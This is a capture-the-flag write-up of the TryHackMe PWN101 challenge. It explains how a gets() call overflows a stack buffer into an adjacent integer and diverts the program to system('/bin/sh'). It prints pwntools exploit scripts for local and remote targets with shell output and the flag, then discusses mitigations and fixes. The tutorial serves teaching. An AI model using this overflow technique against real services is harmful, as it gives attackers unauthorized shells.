TryHackMe PWN101: Stack Buffer Overflow into a Local Variable

TL;DR

main() reads a line with gets() into char inp[50], located at rbp-0x40. Sixty bytes above the start of that buffer, at rbp-0x4, sits int is1337 = 1337 (0x539). gets() takes no size argument, so any input of 60 bytes or more writes into is1337. The program only calls system("/bin/sh") when is1337 is no longer 0x539, so corrupting a single byte of it flips the branch. No return address is touched, no shellcode is injected and no address is leaked: this is a data only attack, which is why NX, PIE and Full RELRO are irrelevant. Sending 61 bytes to the service on port 9001 returns a shell as pwn101 and the flag.

• Weakness: CWE-242 Use of Inherently Dangerous Function, resulting in CWE-121 Stack-based Buffer Overflow
• Primitive: overwrite of an adjacent local variable (non control data)
• Platform: Linux x86_64, ELF 64 bit PIE (TryHackMe PWN101, challenge 1)

Introduction

PWN101 is the opening challenge of the TryHackMe binary exploitation room of the same name. It is the smallest possible stack buffer overflow, and that is exactly what makes it useful: there is nothing to hide behind. No ROP chain, no libc leak, no shellcode. Just a buffer, a variable next to it, and a function that does not know where the buffer ends.

Most introductions to stack overflows go straight for the saved return address. This challenge targets something quieter. The program keeps a decision in memory ("has the user given the right answer?") as a plain integer on the stack, right above an input buffer. If input can reach that integer, input controls the decision. The same pattern appears in real software whenever an authentication flag, a length field or a permission bit lives next to an attacker controlled array.

Unlike the configuration weaknesses covered in earlier Byte JMP posts, this one is a genuine memory safety bug in the code: the program writes past the end of an object it owns. The attacker needs nothing more than the ability to send a line of text to the program, either locally or through the network service that wraps it. The result is a shell running as the account that runs the binary.

The real skill this challenge teaches is reading the stack layout from the disassembly, not from the source. The source says the buffer is 50 bytes. The binary says the distance to the target is 60. Only one of those numbers is right for the exploit.

Lab

The target binary

File identification

$ file pwn101-1644307211706.pwn101
pwn101-1644307211706.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
  dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
  for GNU/Linux 3.2.0,
  BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped

Key observations from file:

• ELF 64 bit, x86_64: the binary uses the System V AMD64 calling convention. Function arguments travel in registers (rdi, rsi, rdx, ...), which is how we identify what gets passed to library calls in the disassembly.
• PIE executable: Position Independent Executable. The binary is compiled with position independent code, so its base address is randomized at load time by ASLR.
• Dynamically linked: it depends on shared libraries (libc). Functions like gets, puts, system are resolved at runtime through the PLT/GOT.
• Not stripped: symbol names (main, setup, banner) are preserved in the binary, making static analysis significantly easier.

Security mitigations (checksec)

$ checksec --file=pwn101-1644307211706.pwn101
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY  Fortified  Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   72 Symbols  No     0          1            pwn101-1644307211706.pwn101

The summary: the only mitigation that could have prevented this specific attack is a stack canary (which would detect the overwrite of is1337 only if the canary sits between the buffer and the variable, which depends on the compiler's variable ordering) or FORTIFY_SOURCE (which would replace gets() entirely). Neither is present. NX, PIE and Full RELRO protect against different classes of attacks and are irrelevant when the primitive is a data only overwrite of a local variable.

Background: the stack frame and gets()

How local variables are laid out

When main() is called on x86_64 Linux, the processor pushes the return address onto the stack, and the function prologue saves the old frame pointer (rbp) and allocates space for local variables by subtracting from rsp. The result is a contiguous block of memory where local variables live at negative offsets from rbp:

High addresses
┌──────────────────────────────┐
│  return address (8 bytes)    │  ← saved by the CALL instruction
├──────────────────────────────┤
│  saved rbp (8 bytes)         │  ← pushed by the prologue
├──────────────────────────────┤  ← rbp points here after mov rbp, rsp
│  ...                         │
│  local variables             │  ← negative offsets from rbp
│  ...                         │
├──────────────────────────────┤
│  (stack grows downward)      │  ← rsp after sub rsp, N
└──────────────────────────────┘
Low addresses

The critical detail: the stack grows downward (toward lower addresses), but buffers are filled upward (toward higher addresses). When gets() writes into inp starting at rbp-0x40, each byte advances toward rbp. Any variable stored between rbp-0x40 and rbp is directly in the overflow path.

Why gets() is dangerous

gets() reads characters from standard input into a buffer until it encounters a newline (\n) or end of file. The newline is not stored; it is replaced by a null terminator. The function has no parameter for the buffer size and therefore cannot enforce any boundary.

The function's own man page states: "Never use gets()." It was deprecated in POSIX.1-2008, removed from the C language standard in C11 (ISO/IEC 9899:2011), and is classified as CWE-242 (Use of Inherently Dangerous Function). Despite this, it appears regularly in CTF challenges and occasionally in legacy production code.

The key behavioral detail for this challenge: gets() writes a null byte (0x00) after the last character of input. If we send exactly 60 bytes of payload, gets() writes 60 bytes plus a null terminator, for a total of 61 bytes written to the stack. This null byte is what overwrites the lowest byte of is1337.

Static analysis

Decompiled output

The challenge provides only the compiled binary, not the source code. Opening it in Cutter (rizin's GUI) or Ghidra and using the decompiler produces a reconstruction of main() that reveals the program logic:

// WARNING: Variable defined which should be unmapped: var_ch

void main(void)
{
    char *s;
    unsigned long var_ch;

    var_ch._0_4_ = 0x539;
    setup();
    banner();
    puts(0xac0);
    puts(0xba0);
    gets(&s);
    if ((int32_t)var_ch == 0x539) {
        puts(0xbd0);
        exit(0x539);
    }
    puts(0xc18);
    system(0xc3f);
    return;
}

The decompiler output is not perfectly clean (the variable names are generic, string addresses are shown as raw offsets, and the type recovery is approximate), but the logic is clear enough to plan the exploit:

• var_ch is initialized to 0x539 (decimal 1337). This is the gatekeeper variable.
• gets(&s) reads unbounded input into a stack buffer s.
• After gets(), the program compares var_ch against 0x539. If it still equals 0x539, the program calls exit(). If it has changed (because the overflow corrupted it), execution falls through to system(), which spawns a shell.

The decompiler tells us what the program does. The disassembly tells us where the variables live on the stack, which is what we need for the offset calculation.

From the decompiler alone, the buffer s and the variable var_ch are adjacent on the stack, but the decompiler does not show the exact offsets. A reasonable first guess might be that the buffer is 50 bytes and the overflow target is right after it. That guess is wrong. The compiler decides the actual layout, and only the disassembly shows the real distances.

Disassembly (main)

Opening the binary in Cutter (rizin) or any disassembler reveals the compiled layout of main. The three critical instruction groups are the prologue, the gets() call, and the comparison.

Prologue and variable initialization:

0x0000088e    push   rbp
0x0000088f    mov    rbp, rsp
0x00000892    sub    rsp, 0x40          ; allocate 64 bytes of stack space
0x00000896    mov    dword [rbp-0x4], 0x539  ; is1337 = 1337, at rbp-0x4

sub rsp, 0x40 allocates 64 (0x40) bytes. The variable is1337 is stored at rbp-0x4, occupying the topmost 4 bytes of the allocated frame (just below the saved rbp).

The gets() call:

0x000008c9    lea    rax, [rbp-0x40]    ; rax = address of inp (bottom of the frame)
0x000008cd    mov    rdi, rax           ; first argument to gets()
0x000008d0    mov    eax, 0x00
0x000008d5    call   gets

The buffer inp starts at rbp-0x40, which is the bottom of the allocated frame. Even though the C source declares inp as 50 bytes, the compiler placed it at the full bottom of the 64 byte frame.

The comparison:

0x000008da    cmp    dword [rbp-0x4], 0x539  ; is1337 == 0x539?
0x000008e1    jnz    0x8f9                   ; if not equal, jump to the shell branch

If is1337 is no longer 0x539, execution jumps to the block that calls system("/bin/sh").

Full disassembly of main (Cutter):

Exit branch (is1337 == 0x539, no overflow):

Shell branch (is1337 != 0x539, overflow occurred):

Stack layout from the disassembly

Putting the three pieces together:

           rbp
            │
            ▼
┌───────────┬──────────┬──────────────────────────────────────────────┐
│ saved rbp │ is1337   │  inp[0] ... inp[49] ... (padding to 60)      │
│ (8 bytes) │ (4 bytes)│  starts at rbp-0x40                          │
└───────────┴──────────┴──────────────────────────────────────────────┘
           rbp-0x0    rbp-0x4                                      rbp-0x40

──────────────────── gets() writes this direction ──────────────────────▶

The distance from inp (at rbp-0x40) to is1337 (at rbp-0x4) is:

0x40 - 0x4 = 0x3C = 60 bytes

The source code declares inp as 50 bytes, but the compiler allocated 64 bytes of stack space and placed inp at the full rbp-0x40 offset. The 10 extra bytes between the declared size (50) and the actual distance (60) are padding introduced by the compiler for alignment. The exploit must use 60 as the offset, not 50.

Control flow

The two branches after the comparison:

Branch 1 (is1337 == 0x539, no overflow): calls puts("Nah bruh...") then exit(0x539). The program terminates. No shell.

Branch 2 (is1337 != 0x539, overflow occurred): calls puts("Thanks...") then system("/bin/sh"). This gives the attacker a shell.

Calculating the offset

The offset calculation comes directly from the disassembly:

The payload formula in the exploit:

payload = b"A" * ((0x40 - 0x4) + 1)

Breaking it down:

• 0x40 - 0x4 = 0x3C = 60: the distance from the start of inp to the start of is1337.
• + 1: one extra byte. This is the byte that actually overwrites is1337.

The total payload is 61 bytes of A characters (0x41). When gets() receives this, it writes 61 A bytes plus a null terminator (0x00), for 62 bytes total. But we only need 61 bytes to corrupt is1337, because a single byte change is enough to break the comparison against 0x539.

What happens at 60 bytes?

With exactly 60 bytes of input, gets() writes bytes 0 through 59 as the input characters, and then writes a null byte (0x00) at position 60. Position 60 is the lowest byte of is1337. Before the overflow, is1337 contains 0x00000539. After the null byte lands, the lowest byte becomes 0x00, making the value 0x00000500 (decimal 1280). Since 1280 != 1337, the comparison fails and execution reaches the shell branch.

So technically, 60 bytes is already enough because the null terminator from gets() does the corruption. The exploit uses 61 bytes (writing 0x41 into the lowest byte of is1337, changing it to 0x00000541 = decimal 1345), which works just as well. Any value other than 0x539 passes the check.

Why 50 bytes does not work

The source says char inp[50], but the compiler allocated the buffer starting at rbp-0x40 (offset 64 from rbp), with is1337 at rbp-0x4 (offset 4 from rbp). The distance is 60, not 50. This happens because the compiler rounds the stack allocation up to a multiple of 16 for alignment (the x86_64 ABI requires 16 byte stack alignment at call sites) and may introduce padding between or around variables.

Writing 50 bytes fills the buffer completely but does not reach is1337. The null terminator lands at position 50 (inside the padding), and the program takes the normal exit path. The exploit must be calculated from the binary, not the source.

Exploitation

Local exploit

The local exploit confirms the offset before going remote. It targets the binary on the attacker's machine:

from pwn import *

context.binary = binary = "./pwn101-1644307211706.pwn101"

payload = b"A" * ((0x40 - 0x4) + 1)

p = process()
p.recv()
p.sendline(payload)
p.interactive()

Walkthrough:

1. context.binary tells pwntools to load the binary's architecture, endianness and security properties automatically.
2. The payload is 61 bytes of A. The first 60 fill the gap between inp and is1337. The 61st overwrites the lowest byte of is1337, changing it from 0x39 to 0x41.
3. process() spawns the binary locally. recv() reads and discards the banner and the prompt.
4. sendline(payload) sends the payload followed by a newline. gets() reads the 61 A bytes, replaces the newline with a null terminator, and writes everything to the stack.
5. interactive() hands control to the attacker. Since is1337 is no longer 0x539, the program calls system("/bin/sh") and the attacker has a shell.

Local execution:

$ python3 exploit.py
[*] '/home/bytejmp/thm/pwn/pwn101-1644307211706.pwn101'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Starting local process '/home/bytejmp/thm/pwn/pwn101-1644307211706.pwn101': pid 86085
[*] Switching to interactive mode
Thanks, Here's a small gift for you <3
$

The output Thanks, Here's a small gift for you <3 followed by a $ prompt confirms that the shell branch was taken. The exploit works locally.

Remote exploit

The remote version replaces process() with remote(), pointing to the TryHackMe target:

from pwn import *

context.binary = binary = "./pwn101-1644307211706.pwn101"

payload = b"A" * ((0x40 - 0x4) + 1)

p = remote("10.66.143.141", 9001)
p.recv()
p.sendline(payload)
p.interactive()

The only change is the target: remote("10.66.143.141", 9001) connects over TCP to the service running on the TryHackMe machine instead of spawning a local process. Everything else is identical because the vulnerability is in the binary itself, not in how it is reached.

Remote execution:

$ python3 exploit.py
[*] '/home/bytejmp/thm/pwn/pwn101-1644307211706.pwn101'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Opening connection to 10.66.143.141 on port 9001: Done
[*] Switching to interactive mode
Thanks, Here's a small gift for you <3
$ id
uid=1002(pwn101) gid=1002(pwn101) groups=1002(pwn101)
$ pwd
/home/pwn101

The shell runs as pwn101 (uid 1002) on the remote machine.

Verification and flag

From the remote shell, verify the access and read the flag:

$ id
uid=1002(pwn101) gid=1002(pwn101) groups=1002(pwn101)
$ pwd
/home/pwn101
$ cat flag.txt
THM{7h4t's_4n_3zy_oveRflowwwww}

The flag confirms a successful exploit. The attacker now has a shell as pwn101 on the target machine, obtained by sending 61 bytes to a gets() call and overwriting a local variable that controlled access to system("/bin/sh").

Why the mitigations did not help

The binary has three of the four major compile time mitigations enabled (Full RELRO, NX, PIE). None of them made any difference, and that is worth understanding.

This is the defining characteristic of a data only attack: the control flow of the program is never altered. The program executes the same instructions it always would. The attacker simply changes the data that one conditional branch reads, flipping it from the safe path to the dangerous one. NX, PIE and RELRO all protect control flow integrity in various ways, but they have nothing to say about the integrity of local variables.

What would have stopped it

Stack canary (-fstack-protector-all): with -fstack-protector-all, the compiler places a canary value between local variables and the saved frame pointer. In this binary, with -fstack-protector-strong or -fstack-protector-all, the compiler also reorders local variables: it moves is1337 below the buffer (to rbp-0x44), placing the canary between the buffer and the saved rbp. In this configuration, the overflow would still corrupt is1337 but the canary check at function exit would terminate the process before any meaningful execution continues. However, in this specific binary, main calls system() before returning, so a canary might not prevent the shell branch from executing if is1337 is corrupted and the shell branch is taken before the function epilogue checks the canary. The effectiveness depends on the compiler's variable ordering.

FORTIFY_SOURCE (-D_FORTIFY_SOURCE=2): this is the most effective defense for this specific case. With FORTIFY enabled, gets() is replaced at compile time by __gets_chk(), which knows the declared size of the destination buffer. Any input exceeding that size triggers an immediate abort: *** buffer overflow detected ***: terminated. The overflow never happens.

Replacing gets() entirely: the definitive fix. Using fgets(inp, sizeof(inp), stdin) limits the read to the buffer size and makes the overflow impossible regardless of compiler flags.

The actual source (confirmed after exploitation)

The C source below was not provided by the challenge. It was obtained from the target machine after gaining shell access through the exploit. It is included here to confirm what the disassembly and decompiler already told us, and to show how the vulnerability looks in the original code:

#include <stdio.h>
#include <stdlib.h>

void setup(){
    setvbuf(stdout,(char *)0x0,2,0);
    setvbuf(stderr,(char *)0x0,2,0);
    setvbuf(stdin,(char *)0x0,2,0);
}

void banner(){
    puts(
"       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐\n"
"        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ \n"
"        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘\n"
"                 pwn 101          \n"
    );
}

void main(){
    char inp[50];
    int is1337 = 1337;
    setup();
    banner();

    puts("Hello!, I am going to shopping.\n"
    "My mom told me to buy some ingredients.\n"
    "Ummm.. But I have low memory capacity, So I forgot most of them.\n"
    "Anyway, she is preparing Briyani for lunch, "
    "Can you help me to buy those items :D\n");
    puts("Type the required ingredients to make briyani: ");
    gets(inp);

    if (is1337 == 1337){
        puts("Nah bruh, you lied me :(\n"
             "She did Tomato rice instead of briyani :/");
        exit(1337);
    }
    else{
        puts("Thanks, Here's a small gift for you <3");
        system("/bin/sh");
    }
}

The source confirms every conclusion from the static analysis:

• inp is a 50 byte buffer, but the compiler allocates it at rbp-0x40 (60 bytes before is1337).
• is1337 is initialized to 1337 and compared against the same value after gets().
• The else branch calls system("/bin/sh"), which is the attacker's objective.
• gets() is the only input function, and it has no bounds checking.

References

1. CWE-242 Use of Inherently Dangerous Function (cwe.mitre.org)
2. CWE-121 Stack-based Buffer Overflow (cwe.mitre.org)
3. man gets(3) (Linux manual page). "Never use gets()." Deprecated POSIX.1-2008, removed C11.
4. GCC Instrumentation Options (gcc.gnu.org). -fstack-protector, -fstack-protector-strong, -fstack-protector-all.
5. pwntools (GitHub). CTF framework for exploit development.
6. Cutter (cutter.re). Reverse engineering platform (rizin GUI).
7. TryHackMe PWN101 (tryhackme.com). Binary exploitation room.
8. checksec (GitHub). Tool for checking binary security properties.